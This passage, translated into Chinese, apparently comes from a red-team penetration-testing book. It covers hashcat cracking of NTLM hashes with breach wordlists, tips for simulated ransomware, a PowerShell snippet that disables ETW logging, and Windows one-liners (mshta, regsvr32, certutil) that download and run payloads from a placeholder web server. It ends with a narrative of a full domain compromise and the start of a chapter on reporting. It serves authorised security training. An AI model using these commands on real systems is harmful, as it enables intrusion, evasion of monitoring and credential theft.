价值12,000美元,你也可以构建自己的一个机器,包括机箱、RAM、电源、SSD 和 GPU。当然,机箱至少需要一个
4U机架(例如:SYS-4028GR-TR2)并且供应充足的电。虽然绝对不便宜,但我们每秒大约能枚举472,000,000,000
个哈希值,可以爆破 Windows NTLM(Windows) 哈希。这是八个 GPU 的 hashcat 基准测试:
Hashmode: 1000 - NTLM
Speed.Dev.#1…..: 59436.3 MH/s (63.16ms)
Speed.Dev.#2…..: 58038.3 MH/s (64.70ms)
Speed.Dev.#3…..: 59104.4 MH/s (63.55ms)
Speed.Dev.#4…..: 59123.0 MH/s (63.52ms)
Speed.Dev.#5…..: 58899.7 MH/s (63.74ms)
Speed.Dev.#6…..: 59125.8 MH/s (63.51ms)
Speed.Dev.#7…..: 59256.3 MH/s (63.36ms)
Speed.Dev.#8…..: 59064.5 MH/s (63.56ms)
Speed.Dev.#*…..: 472.0 GH/s
对于那些买不起大型 GPU 设备的人来说,还有其他选择。你可以考虑在云服务器中进行密码破解的操作,虽然仍然
不怎么便宜。最近,亚马逊已经集成了 TESLA GPU(不是特斯拉汽车),它们比1080Ti 更强大。关于如何使用这些
GPU 设置你自己的密码破解服务器,在 Medium 上有一篇很棒的文章:https://medium.com/@iraklis/running-ha
shcat-v4-0-0-in-amazons-aws-new-p3-16xlarge-instance-e8fab4541e9b 。
来自 Iraklis Mathiopoulos 的文章中的数据:
译者注:Iraklis Mathiopoulos 是上面这篇文章的作者。
Hashmode: 1000 - NTLM:
Speed.Dev.#1…..: 79294.4 MH/s (33.81ms)
Speed.Dev.#2…..: 79376.5 MH/s (33.79ms)
Speed.Dev.#3…..: 79135.5 MH/s (33.88ms)
Speed.Dev.#4…..: 79051.6 MH/s (33.84ms)
Speed.Dev.#5…..: 79030.6 MH/s (33.85ms)
Speed.Dev.#6…..: 79395.3 MH/s (33.81ms)
Speed.Dev.#7…..: 79079.5 MH/s (33.83ms)
Speed.Dev.#8…..: 79350.7 MH/s (33.83ms)
Speed.Dev.#*…..: 633.7 GH/s
对于同样的 NTLM 哈希值,使用 TESLA GPU 显卡破解的总速度比使用1080Ti GPU显卡大约快34%。但是运行 AWS
的总成本约为每小时25美元。因此,你需要根据自己的预算、需求和目标来选择。
实验:
最近,Have I Been Pwned 网站的创始人 Troy Hunt 发布了一个 SHA1 密码哈希列表,压缩之后的体积大约为5.3
GB。这是有史以来的数据泄露、脱库中一个非常大的列表了。这是一个测试你密码破解技巧的绝佳素材:
https://downloads.pwnedpasswords.com/passwords/pwned-passwords-1.0.txt.7z
随着这些 GPU 的破解速度变得越来越快,10个字符以下的密码可以在相对合理的时间范围内进行智能化破解。其中
一些可以通过使用高质量的密码掩码来破解,但是大多数情况下,主要取决于密码列表自身的复杂程度。破解大于12
个字符的密码的最快方法之一就是使用来自于真实数据泄露事件的密码列表。回顾过去所有的数据泄露事件,我们可
以很好地了解人类如何创建密码,混淆密码的常用技巧以及最常用的单词。使用复杂规则集配合这些密码字典,可以
让我们以极快的速度破解密码(有时超过25个字符)。但请记住,你的密码列表取决于你构建和维护它的程度。作为
红队队员,我们会定期跟踪我们破解的所有帐户,对其进行分析并将其添加到我们的密码字典中。我们还会不断监控
新的数据泄露事件,访问 pastebin 和 pastie 网站等,以查找更新的密码。此处有一个很好的监控列表:https://inte
ltechniques.com/OSINT/pastebins.html 。
我最喜欢的密码列表:
berzerk0的 Real-Password-WPA 密码列表:
18.6 GB 未压缩
http://bit.ly/2EMs6am
berzerk0 的字典风格的列表:
1 GB 未压缩
http://bit.ly/2GXRNus
Xato 的千万数量的密码
magnet:?xt=urn:btih:32E50D9656E101F54120ADA3CE73F7A65EC9D5CB
Hashes.org
https://hashes.org/left.php
几千兆字节,而且每天都在增长
Crackstation
15 GB 未压缩
https://crackstation.net/files/crackstation.txt.gz
Weakpass(弱密码)
大量的密码列表
https://weakpass.com/wordlist
First20Hours
该项目包含按频率顺序排列的10,000个最常见的英语单词列表,由 Google 的万亿字词数据库的 n-gram
频率分析确定。
https://github.com/cyberspacekittens/google-10000-english
SkullSecurity.org
优秀的旧密码列表,如 rockyou,myspace,phpbb
https://wiki.skullsecurity.org/Passwords
Daniel Miessler 的密码编译
https://github.com/cyberspacekittens/SecLists
Adeptus-mechanicus 哈希脱库
http://www.adeptus-mechanicus.com/codex/hashpass/hashpass.php
通过优秀的密码列表组合,我们可以基于列表添加规则来找到更多密码。就 Hashcat 而言,规则会确定是否需要在
词表中进行任何修改和扩展。描述规则的最佳方式是使用这一个易于理解的示例。我们可以使用
KoreLogicRulesAppendYears 规则集,如下所示:
cAz”19[0-9][0-9]”
Az”19[0-9][0-9]”
cAz”20[01][0-9]”
Az”20[01][0-9]”
它将在每个密码中添加1949年到2019年的年份字符串。比如,如果密码列表中包含单词 “hacker”,它就会使用
“hacker1949” 来尝试破解哈希值,一直试到 “hacker2019”。请记住,你拥有的密码规则越复杂,通过单词列表中的
所有单词破解目标所需的时间就越长。
幸运的是,我们不需要创建自己的规则,因为网上已经有很多很好的规则。当然,还有默认的 Hashcat 规则,它来
自许多较旧的数据泄露,以及常见的密码破解技术。这是一个很好的起点。Kore 规则来自 Korelogic 的密码竞赛,
是其标准之一。另外的两个规则需要的时间更久,但也有非常详细的规则集,分别是 NSAKEY 和 Hob0Rules。在过
去,我会采取所有的规则,将它们编入单个文件,并对文件去重。但是,现在, NotSoSecure 规则实际上已经为你
做好了这些工作。
规则:
Hashcat Rules
https://github.com/hashcat/hashcat/tree/master/rules
Kore Rules
http://contest-2010.korelogic.com/rules-hashcat.html
NSAKEY Rules(我的最爱之一)
https://github.com/cyberspacekittens/nsa-rules
Praetorian-inc Hob0Rules
https://github.com/cyberspacekittens/Hob0Rules
NotSoSecure —— 此规则包含上面全部规则
https://github.com/cyberspacekittens/password_cracking_rules
注:NSAKEY Rules、Praetorian-inc Hob0Rules 和 NotSoSecure 是原仓库的 Fork 版本。
彻底破解全部 —— 尽可能多地快速破解
你现在已有从 Cyber Space Kittens 入侵行动获得的一个很大的密码列表。那么在有限的时间内,怎么能获得最好的
收益呢?以下演练将指导你完成初始步骤来尽可能多地破解密码。虽然,我们通常只需要找到几个域管理员/LDAP 管
理员/公司管理员帐户,但我的强迫症倾向让我试图破解所有密码。
在开始之前,你确实需要了解你的那些哈希值的密码格式。Hashcat 有一个很好的列表,展示不同类型的哈希值的示
例。一旦你知道了是什么类型的哈希算法,最好先进行一些初始测试,以确定该密码哈希算法的速度是快还是慢。这
将对你的密码破解方法有巨大的影响。例如,在查看 Windows 系统下使用哈希算法时,我们看到 NTLM(Windows)
执行速度大约为75,000 MH/s。在 Linux下 运行 SHA-256算法的执行速度约为5,000 MH/s。
这意味着对于 SHA-256哈希,你的 GPU 可以每秒破解5,000,000,000次。这可能看起来很多,但是当你有大量的单
词列表和很大的规则集时,这个速度可能不够理想。这是因为与每秒运算75,000,000,000个哈希值的 NTLM 相比,
SHA-256算法的计算速度非常慢且成本高。在我们的例子中,我们将全力以赴,我们将使用8个1080TI GPU 并使用
NTLM 的快速哈希转储(dump)功能。
破解 CyberSpaceKittens NTLM 哈希:
获得域管理员访问权限后,你使用 DCSync 攻击从域控制器转储所有哈希值。你现在的目标是尝试尽可能多地破解哈
希。因为你知道,你将能够在未来的入侵活动中使用这些帐户,并向受害者公司展示他们使用的不安全的密码的做
法。
首先,我们将所有 NTLM Windows 哈希保存在一个名为 cat.txt 的文件中。为了使输出结果更易于阅读,我们将省略
初始的 hashcat 执行命令。每个命令执行都将以 hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt
开头。
这句命令的意思为:
hashcat: 运行 hashcat
-w 3: 使用调整的配置文件
-m 1000: 哈希格式是 NTLM
-o hashes.cracked: 将结果输出到一个文件中
./hashes/cat.txt: 我们的哈希存储的地址
因此,每当你看到 [hashcat] 字符串时,请使用此命令替换它: hashcat -w 3 -m 1000 -o hashes.cracked
./hashes/cat.txt 。现在,让我们在 8 GPU 1080TI 设备上快速高效地破解 NTLM 哈希。
使用 brute-force (-a 3)的攻击模式破解所有长度少于等于7个字符的密码。字符可以是任何字母、数字或者
特殊字符(?a),启用增量破解模式从一个字符到七个字符进行尝试(--increment)。
[hashcat] -a 3 ?a?a?a?a?a?a?a --increment
对于7个字符(字母/数字/特殊字符)的密码,破解总时间约为5分钟。我们可以设置为8个字符,但我们看
到设置8字符后,运行了9个小时。
你还可以将特殊字符限制为少数几个(!@ #$ % ^),这能显著减少时间和复杂性。
接下来,将所有常见密码列表转储与我们的哈希值进行比较。第一个文件(40GB_Unique_File.txt)是一个
3.2GB 的密码文件,运行大约需要9秒:
[hashcat] ./lists/40GB_Unique_File.txt
我们可以看到,速度快到即使是这么大的文件,运行也只需要几秒钟。为了提高效率,我们实际上可以使用 *
运算符并与我们的 ./lists/ 文件夹中的每个密码列表进行比较。
[hashcat] ./lists/*
接下来,基于哈希算法的速度,我们可以对单个密码列表文件尝试不同的规则集。我们将从 RockYou 规则集开
始,破解这些 NTLM 哈希值大约需要2分9秒:
[hashcat] ./lists/40GB_Unique_File.txt -r ./rules/rockyou-30000.rule
注意:使用3 GB 文件设置的 NSAKEY 规则大约需要7分钟,使用 NotSoSecure 规则集(组合了其他所有
规则集的规则集)大约需要20分钟。
当我用回其他密码列表和规则集组合时。跟所有大型规则集和大型密码泄露列表的第一次破解比较,我们通常
可以至少提高30%以上的效率。
接下来,我们可以开始在密码列表的右侧添加字符,以提高破解更长密码的成功率。下面看到的 -a 6 命令会
将每个字母/数字/特殊字符添加到密码右侧,从一个字符开始一直到最多四个字符:
[hashcat] -i -a 6 ./lists/found.2015.txt ?a?a?a?a
注意:这需要大约30分钟才能完成四个字符
我们也可以在密码列表的左侧添加字符。以下命令将每个字母/数字/特殊字符添加到密码的左侧,从一个字符开
始一直到最多四个字符:
[hashcat] -i -a 7 ?a?a?a?a ./lists/40GB_Unique_File.txt
注意:这需要大约30分钟才能完成四个字符
Hashcat Utils:https://github.com/hashcat/hashcat-utils/releases 。Hashcat 有很多工具可以帮助构建更好
的密码列表。一个例子是组合器,它可以采用两个或三个不同的密码列表并进行组合。使用小列表相对较快。
使用我们的 shortKrak 列表并将其与自身相结合会导致非常快速的破解:
./hashcat-utils-1.8/bin/combinator.bin lists/shortKrak.txt lists/shortKrak.txt >
lists/comboshortKrak.txt
使用一些列表比如“谷歌排名 top1000单词”会生成一个约1.4 GB 的文件,因此你必须注意你选择的文件的大
小。
./hashcat-utils-1.8/bin/combinator.bin lists/google_top_1000.txt lists/google_top_1000.txt >
lists/google_top_1000_combo.txt
注意:使用一个4MB 文件并运行 combinator 将导致生成体积一个大于25GB 的文件。所以,要当心这些
文件的体积大小。
很多时候,人们使用最多的密码不是常见的字典单词,而是基于他们的公司、产品或服务的单词。我们可以使
用客户网站创建自定义密码列表。可以提供帮助的两个工具是:
Brutescrape
Burp Wordlist Extractor
接下来,使用 PACK (Password Analysis and Cracking Kit) 工具对所有破解的密码进行分析并创建掩码:
python ./PACK-0.0.4/statsgen.py hashes.password
python ./PACK-0.0.4/statsgen.py hashes.password --minlength=10 -o hashes.masks
python ./PACK-0.0.4/maskgen.py hashes.masks --optindex -q -o custom-optindex.hcmask
译者注:本书作者给出的关于 PACK 的链接为:http://thesprawl.org/projects/pack/ ,但是你只要点了试试就
会发现现在这个连接被自动跳转到 PACK 作者的博客了。译文中的 PACK 工具的地址是译者自己在 Github 找
到的,因为链接变了,所以上面的 python 语句大家根据情况做出调整。可以参考该工具的 README,非常详
细。
使用新创建的掩码进行密码破解:
[hashcat] -a 3 ./custom-optindex.hcmask
使用 Pipal 分析你的密码列表可以更好地理解密码的基本词汇:
cd /opt/pipal
./pipal.rb hashes.password
看看这个列表,你可能会发现这家公司使用 resetme12345 作为默认密码,可能位于密歇根州(列表里有
底特律、老虎、足球这些词汇)。
那么下一步我们做什么?已经有很多对于不同的密码生成工具、密码分析和其他技术的很好的研究,目的是找到更快
的破解密码的方法。若你有兴趣,这里给出一些资料:
PassGAN:使用深度学习方法进行密码破解
快速、精益、准确:使用神经网络建模的密码可猜测性
具有创新性的的入侵行动
作为公司的内部红队可以有机会参加具有创新性的的入侵行动。我最喜欢的行动之一是模拟勒索软件。在过去,我们
被允许在 WannaCry 大面积爆发的时期进行模拟勒索软件行动。随着加密软件和勒索软件越来越受欢迎,我们确实
需要有能力测试我们的业务恢复和遇难恢复程序。我们在现实生活中见证了这一点,WannaCry 通过 SMB 进行横向
移动,利用 EternalBlue ,加密文件等攻击,甚至删除了主机系统上的所有备份。作为一个 IT 组织,我们需要问自
己的问题是,如果我们的某个用户点击了该恶意软件,会产生什么影响?我们可以恢复用户文件、共享文件、数据库
等东西吗?我们一直听到的答案是,“我觉得可以......”,但如果没有红队提前验证的过程,我们最终会等到我们的房
子被烧成灰后才知道是不是真的可以。
这就是为什么我喜欢公司内部进行红队评估的原因。我们可以在受控环境中真正证明并验证安全性和 IT 是否正常运
行。对于这本书,我没有列举任何我们的勒索软件的例子,因为这样做很危险。我将让你负责构建工具并以批准的方
法测试你的客户。
模拟勒索软件行动提示:
有些公司实际上不会让入侵者删除或加密文件。对于这些公司,你可以进行模拟勒索软件攻击。一旦恶意软件
被执行,它所做的就是扫描主机和网络中的重要文件,将每个文件读入内存,执行随机字节交换,将这些字节
发送到 C2 服务器,并包含元数据。这将展示出你能够操作的文件数量,在检测到流量之前可以从网络中渗透出
的数据量以及可以恢复的文件数量。
查看其他勒索软件样本以查看他们正在加密的文件类型。这可以创造一个更接近现实的行动。例如,查看
WannaCry 中的文件类型( https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168 )。
如果你要 “加密” 恶意软件,请使用简单的方法。它可以是带有密钥的标准 AES,一个公共或私有的 x509 证
书,或某种按位异或。制作它越复杂,无法恢复文件的可能性就越大。
测试、测试和测试。你可以预见的最糟糕的事情是让目标公司无法恢复关键文件,并且你的解密过程还不起作
用。
许多下一代杀毒软件基于链中的某些动作会自动阻止勒索软件。例如,勒索软件可能执行的正常检测是:扫描
系统中所有类型为 X 的文件,加密 X 文件,删除磁盘中的副本以及禁用备份。想要绕过检测过程的话,要么减
慢勒索软件的活动流程,要么通过不同的流程达到相同的目的。
禁用 PowerShell 记录
作为红队队员,我们一直在寻找独特的方法来尝试和禁用任何类型的日志记录。虽然现在也有办法执行这些攻击,但
我们仍在不断寻找新的更简单的技术。
以下是一个 leechristensen 写的示例,可用于禁用 PowerShell 日志记录:
$EtwProvider =
[Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvi
der','NonPublic,Static');
$EventProvider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList
@([Guid]::NewGuid());
$EtwProvider.SetValue($null, $EventProvider);
从命令行连接网络下载 Windows 文件
如果你通过应用程序漏洞获得了命令执行,又或者是通过 Office 或 PDF 文件获取了 shell,那么接下来的步骤可能是
下载并执行你的辅助恶意软件。
对于这些情况,我们可以利用 Windows 的一些特性来完成任务。大多数这些例子来自 arno0x0x 和 @subtee 的卓
越的研究成果( https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payloa
d-and-execute-arbitrary-code )。
mshta vbscript:Close(Execute(“GetObject(““script: http://webserver/payload.sct ””)”))
mshta http://webserver/payload.hta
rundll32.exe javascript:"..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sc
t");window.close();
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
certutil -urlcache -split -f http://webserver/payload payload
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64
payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile=
/LogToConsole=false /u payload.dll
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64
payload.exe & payload.exe
这些只是其中几个例子,还有更多通过命令行来执行辅助代码的方法。你还可以继续研究,看看是否还有其他技术可
以用来从传统的日志记录中隐匿行踪。
从本地管理员权限到系统权限
从本地管理员帐户权限提升到 System 权限可以通过多种方式完成。当然,最常见的方法是使用 Metasploit 的
getsystem ,但这并不总是可行的。decoder-it 创建了一个非常棒的 PowerShell 脚本,通过创建一个新进程并将该
新进程的父进程 PID 设置为 System 所拥有,从而让本地管理员权限的 PowerShell 提示符转到 System 权限。可以
在此处找到此 PowerShell 脚本。
执行以下操作:
PS> . .\psgetsys.ps1
PS>[MyProcess]::CreateProcessFromParent(<process_run_by_system>, <command_to_execute>)
在不触及 LSASS 的情况下检索 NTLM 哈希值
Elad Shamir 对怎样在不对 lsass.exe 进程进行操作的情况下抓取 NTLM 哈希进行了广泛的研究。在这种攻击之前,
通过 Mimikatz 操作 LSASS 抓取哈希值的操作受到 Windows 10企业版和 Windows Server 2016中的凭证保护的限
制。Elad 开发了一种称为 Internal Monologue Attack 的攻击,它执行以下操作:
如上所述,通过将 LMCompatibilityLevel 、 NTLMMinClientSec 和 RestrictSendingNTLMTraffic 更改
为适当的值来禁用 NetNTLMv1 的预防性控制。
从当前正在运行的进程中检索所有非网络登录令牌并模拟关联的用户。
对于每个模拟用户,获得正在运行的用户 token,模拟用户同 NTLM SSP 进行交互,控制 Challenge 为固定
值,导出返回的 Net-NTLMv1 响应。
恢复 LMCompatibilityLevel 、 NTLMMinClientSec 和 RestrictSendingNTLMTraffic 的原始值。
[https://github.com/eladshamir/Internal-Monologue]
译者注 参考资料:Windows 下的密码 hash——Net-NTLMv1 介绍
使用防御工具构建训练和监控的实验环境
测试我们的恶意软件的一个很大挑战是我们需要建立一个快速测试的环境。Chris Long 构建的一个名为 Detection
Lab 的强大工具是 Packer 和 Vagrant 脚本的合集,可让你快速将 Windows Active Directory 部署上线。该工具包含
一系列端点安全和日志记录的最佳实践工具。 Detection Lab 由四个主机组成(https://medium.com/@clong/intr
oducing-detection-lab-61db34bed6ae ):
DC:一个 Windows 2016域控制器
WEF:管理 Windows 事件集合(Windows Event Collection)的 Windows 2016服务器
Win10:模拟非服务器端点的 Windows 10主机
Logger:运行 Splunk 和一个 Fleet 服务器的 Ubuntu 16.04主机
本章总结
对于红队来说,窍门和技巧是我们入侵艺术的一部分。我们必须不断研究攻击用户、攻陷系统和逃避检测的更好方
法。这可没有捷径,需要数小时到数年的练习、汗水和眼泪。
第9章 两分钟的训练——从零到英雄
译者:@Snowming
校对者:@匿名jack
随着时间的推移,直到测试的最后一天你都还没有从目标外部网络取得比较好的突破。因为你需要进入目标内网,了
解他们公司的网络布局,获得一些敏感文件或者代码,然后找到更多的网段和高权限用户,最终需要拿到 Cyber
Space Kittens 公司太空计划的相关资料,此时你感觉压力很大。你的任务是窃取最新的太空计划相关的绝密信息并
且不能失败...现在是两分钟操练的时候了。只剩一点点时间了,你需要从10码线开始运球,突破所有的防守保护,扫
清路上的障碍,最终把球带到90码线安全着陆。
10码线
你重新翻阅自己之前做的笔记,找出自己可能遗漏的一些信息。你的眼睛聚焦在一个网页屏幕截图...这是一个
CSK(Cyber Space Kittens)的论坛网站。你暂时没法找到这个网站程序的漏洞,但是你注意到这个 CSK 论坛网站
是给 CSK 内部员工和普通用户共同使用的,用于发布他们太空项目相关的问题、评论和其他事情。
你在网站上收集那些看上去是属于公司员工的账户。然后你根据账户名提炼信息制作比较靠谱的密码表(可能使用的
密码)。你使用常用密码及其变体对所有这些账户进行密码爆破尝试。你看到你的 python 脚本正在缓慢的输出… 失
败 … 失败 … 失败 … 密码已找到 ! 当你看到一个名为 Chris Catfield 的用户使用了 Summer2018! 这个密码时会心一
笑。这个比你预想的要简单的多。接下来,你使用 Chris 的凭证登录论坛,查阅他的私信和帖子,找出那些能帮助更
好的开展下一步行动的信息。你发现 Chris 经常与论坛上的另一位内部员工 Neil Pawstrong 谈论太空项目。看起来
他们不是现实中的朋友,但他们有很融洽的协同工作关系。这对你开展受信任的钓鱼攻击非常有利。这两个用户之间
已经建立了融洽的关系,所以如果你使用 Chris 的帐号发钓鱼邮件给 Neil,成功的可能性将会很大。
20码线
你在纠结要不要直接向 Neil 发送恶意的 payload,但是那样太明显了。于是你向他发送了一个你刚搭建好的一个带
有猫猫照片的网站的链接,“嘿,Neil,我知道你喜欢猫!看看我做的这个页面吧!”
几分钟之后,你在论坛网站上收到的 Neil 的回复:“哈哈,我喜欢这个太空猫啦!”Neil 没有意识到他访问的网页有一
个定制的 JavaScript 的 payload,这段 JS 代码在他的机器后台运行,扫描机器所在的 CSK 内部网络,并且危及未经
身份验证的 Jenkins 和 Tomcat Web 服务器。几秒钟之后,你得到了一个弹回来的 Empire 的 shell,你终于松了一
口气。
30码线
当你顺利撕开目标的一道口子,你意识到 CSK 的网络防御部门重新设置防火墙配置、DNS 配置和进行主机屏蔽只是
时间问题,所以你需要快速移动。幸运的是,你已经配置了一些自动化的程序和脚本来处理那些繁琐的工作。受感染
的主机已经激活 beacon 并且开始运行 Bloodhound 等工具,查找本地存储的密码相关文件,设置注册表的值来使
Mimikatz 工具能够捕获 LSASS 进程存储的密码,运行 SPN(Kerberos 服务主体名称)并转储所有 Kerberos 票
证,当然还可以在计划任务中做一些持久化渗透的设置。
40码线
你清楚自己需要快速离开这个第一台主机。于是你将所有拿回的 Kerberos ticket(票据)导入到 Hashcat 程序中,
然后开始破解。你发现用那些额外的 BUG 赏金购买了几块1080Ti显卡是个非常正确的决定。当 hash 开始破解的时
候,你注意到有一些服务账户的密码已经破解完毕,但是你现在还没时间去处理这些。你仔细阅读 Bloodhound 的
输出结果,发现这台受害的机器是属于 Neil Pawstrong 的,并且 Neil 的 AD 账户(域账户)可以访问另一个属于
Buzz Clawdrin 的机器。通过使用 WMI 进行连接,你远程生成一个新的 payload 到 Buzz 的机器中,然后注入到属
于 Buzz 账户进程中。
50码线
幸运的是,你的账户(Neil 的域账户)在 Buzz 主机的本地管理员成员组中,这意味着你能在这个主机上做更多的协
同工作。 使用 Bloodhound 进行信息收集,你能够遍历整个 CSK-LAB 域的网络,但你意识到你在这个主机中并没有
system 权限。不用担心,你可以加载 powerup 这个 powershell 脚本文件来查找这个主机的错误配置,进而让你
权限提升到 system 权限。如你所料,服务二进制文件有大量没加引号的路径,你可以在那写入你自己的
payload。你可以快速做一个新的恶意的二进制文件来获得 system 权限。
60码线
你在第二台主机上运行一个新的 Cobalt Strike 的 payload 获得了一个新的 beacon,这让你即使被他们发现了一些
痕迹,也能保持访问权限。这是一个 system 权限的 beacon 连接,你可以通过该主机查找机器中存储在浏览器、
WinSCP 配置文件等文本文件中的大量凭据。这台主机是个金矿,它可以连接到多个服务器和数据库。你注意到此主
机位于不同的 VLAN 上。看起来这个主机可以访问那些从 Neil 的主机无法看到的这个内网中的更多的网段和主机。
你再次运行命令进行内网信息收集,通过 Bloodhound 来了解你当前能访问的网段和主机。你注意到这些网络中的
很多主机无法连接到外网,因此你无法获得 HTTP 的 beacon 。但是因为你使用的是 Cobalt Strike(https://www.c
obaltstrike.com/help-smb-beacon ),因此你知道它有一个强大的功能,可将内网断网主机和你当前已控的
beacon 进行 SMB 管道连接上线。这就意味着整个实验室的 VLAN 网络中其他受到攻击的机器都可以利用当前这个
CSK-LAB 主机访问到外网。另外,你发现这些在半隔离网络中的主机并没有获取系统更新。看上去,这些运行着
Windows 7系统的客户端主机中并没有为 EternalBlue(永恒之蓝漏洞)打补丁。
70码线
通过这台 CSK-LAB 主机,你可以使用经过修改的 EternalBlue 漏洞、利用 payload 在这个 lab 域中的大多数
windows 7机器中中获得 SMB 的 beacon 。你开始使用这些新的 shell 来获得更多的信息。你发现其中一个主机和
一个名为 Restricted 的远程 Microsoft SQL 服务器保持着活跃的连接。你尝试了在这个 lab 域中收集的所有账户,
但这些凭证都不适用于这个数据库服务器。你感到难过,你回头看看自己所有的笔记,然后意识到你忘了那些正在破
解的 Kerberos 票据!你通过 SSH 连接到负责破解 hash 的机器,查看那些破解结果,在结果中找出那些链接
Restricted 数据库的凭证。当你找到这个服务帐号的密码时,你浑身得到了巨大的解脱感。
80码线
你登录到名为 Restricted 的数据库服务器并对整个数据库进行了脱库。 你很想直接在数据库服务器中直接查看,但
你知道时间有限。 你使用一些 PowerShell 脚本对数据进行加密压缩,然后在不同的内网已控主机之间慢慢传递,最
后将压缩数据利用网络转移到自己的 C2 服务器上。
你告诉你自己,你做到了!但是当你逐渐从飘了的感觉中冷静下来,你发现自己仍然有工作要做。你回过头来翻阅那
些之前导出的 Bloodhound 收集的信息,发现一台名为 Purri Gagarin 的主机,它属于 IT 技术支持部门的工作组 。
很好,我们可以使用它来远程桌面连接或者使用 Windows ACE 连接到域管理员的机器,然后我们可以将域管理员的
密码重置为我们自定义的密码。我们接着操作,重置域管理员 Elon Muskkat 的密码,然后做一些 AD 持久化的设置
来维持持久的域管权限。
90码线
我们需要做的最后一件事情是从域控制器中导出所有的哈希,并且设置其他的后门,最后擦除我们的痕迹。你可以使
用 Mimikatz 应用的的 DCsync 功能来获取所有用户的哈希,包括 krbtgt 票据。而不是使用动静很大的方法(卷影复
制服务)来获取域里所有用户的哈希。我们现在拥有了黄金票据!这意味着我们如果重新回到内网中,我们可以创建
自己的 Kerberos 票据并且让它成为域管理员。
译者注: 卷影复制服务(Volume Shadow Copy Service,简称 VSS)是微软 Windows 的一项组件服务。卷影复
制服务是一项定时为分卷作复制的服务。服务会在分卷新增一个名为“阴影复制”(Shadow Copy)的选项。此
服务可为离线用户提供离线文件服务。
为了留下更多的后门,我们在不同主机中使用了不同的技术。我们在一个主机中设置了 shift 后门;使用
backdoorfactory 技术将我们的恶意软件隐藏在另一个主机中的常用二进制可执行文件中;将系统的计划任务设置为
每周运行一次回连我们的 C2 服务器;使用一个和 lab 域分离的主机,使用 dnscat 的可执行二进制文件代替系统中
一个没啥用的运行服务;还删除了几个主机的启动文件夹中的 payload。
我们是幸运的(当然与之对应我们的幸运建立在他们的不幸之上),我们到目前为止都没有被发现。但你要记住,红
队渗透评估的目的是为了了解公司或组织发现恶意攻击活动的速度有多快(CSK 公司并没有发现),以及他们执行应
急响应、取证和缓解攻击带来的负面影响的速度有多快。所以在最后你尝试触发 CSK 的蓝队采取行动,运行了一个
powershell 脚本( https://github.com/EmpireProject/Empire/blob/master/data/module_source/trollsploit/Get-
RickAstley.ps1 )。你满意的笑了,然后关闭笔记本电脑。
任务完成 :)
第10章 赛后——分析报告
译者:@Snowming
在之前的 THP 书籍中,我们有介绍如何编写渗透测试报告的示例,并提供了大量报告模板。这些示例非常适合那些
按部就班的做渗透测试的活动,但是不适合红队的活动。正如本书所述,红队的焦点不是识别漏洞本身(虽然这也是
工作的一部分),而是测试人、工具、工作流程和员工的技能组合。如果你的公司被授权的渗透测试者或者未授权的
坏人攻击并成功入侵,你会给自己的业绩打几分?我一直反对使用差距评估分数、ISO 分数、成熟度模型分数、标准
风险分析、热度图和类似类型的报告来展示公司安全项目的真实状况。
就我个人而言,我喜欢看到公司从之前的红队活动中采取措施进行控制,以测试是否真的取得了进展。例如,对于一
个使用了近似域名方法的网络钓鱼活动,我们看到公司启用了以下一些功能:
使用 dnstwist 对与其公司类似的域名发出警报;
设置一个外部电子邮件域的可信列表。任何与之不匹配的外部邮件都将在最终用户可见的电子邮件中附加一个
标题,说明它是外部(非公司)的、未经批准的电子邮件源。这将帮助你的用户更容易识别网络钓鱼。
来自代理中未分类的域的电子邮件中的任何链接至少应单击一次并警告用户改链接未分类。
禁止 Office 宏附件、强制使用受保护的视图和对文档进行沙盒处理。
这只是一个公司可以实施的可以阻止攻击的一些简单方法。
请记住,红队人员只需要找到一个漏洞就可能破坏整个内网环境。但是蓝队成员只需要识别攻击者的 TTP(战术,技
术和过程)之一,就可以阻止这威胁。因此,现在的问题是,如果这些 TTP 中的一个已经引起防御系统发出警报,
你的应急响应团队发现警报并处理威胁的速度有多快?所以红队风格的报告应该包括哪些内容呢?由于红队这个概念
还很新,目前还没有标准的报告模板,我们可以根据客户的需求进行定制。在我看来,因为我们可能会在一个完整的
红队活动中多次尝试进入一个内网环境(且被抓住几次),所以我们想要把好的方面和不好的方面都在报告中都展示出
来。
在活动期间、记笔记方面,许多工具如 Empire 和 Cobalt Strike 在红队活动期间都有很好的活动日志记录,但这些
可能还远远不够。我发现对我们团队的活动非常有用的是,建立一个简单的 Web 服务器来记录红队成员执行的每个
操作。记录过程中只收集最基本的信息,其中包括特定的事件、服务器、描述、影响、任何警报和屏幕截图。大多数
红队/渗透测试人员都不喜欢做笔记,但这类记录提供了一种简单的跟踪活动的方法。
一旦活动结束,我们将收集所有笔记并将其组合在一起,以构建一个能讲述故事的红队报告。红队报告的主要组成部
分可能包括:
简介/范围:本节需要明确说明活动的目标。例如,有些客户要求我们访问特定的数据、获得域管理权限、获取
PII(个人身份信息)、获取 IP 或在找到他们的生产环境的服务器的标志(flag)。
指标:在一场交战之后获得攻击报告是对应急响应团队/取证团队非常有帮助的。我们还想确定他们的防范工具
或安全传感器可能遗漏的地方,那些使他们无法执行取证或检测恶意活动的纰漏。因此,我们希望给出C2服务
器的IP地址、使用的域名、二进制文件的 MD5/SHA1 哈希、电子邮件地址和 IP 信息、被钓鱼的受害者列表以
及任何其他可能有助于取证/应急响应团队的信息。
攻击时间轴:这是红队行动中最重要的部分之一,做好笔记是有回报的。时间轴应该充分说明所有的主要活
动,任何触发警报的 TTP,以及主要的活动。这将允许蓝队比较他们的时间轴和笔记,看看他们错过了什么。
在一次真正的攻击中,你有机会询问那些坏人关于他们做的每坏件事吗?这对防守团队来说是非常有利的。一
个时间轴示例可能是这样的:
检测时间(TTD)/解决时间(TTM):这通常是我们可以使用蓝队报告构建 TTD/TTM 统计数据的地方。我们
都想要确定蓝队发现一次多重入侵所需的时间;扫描事件触发调查之前花费的时间(如果调查了的话);以及
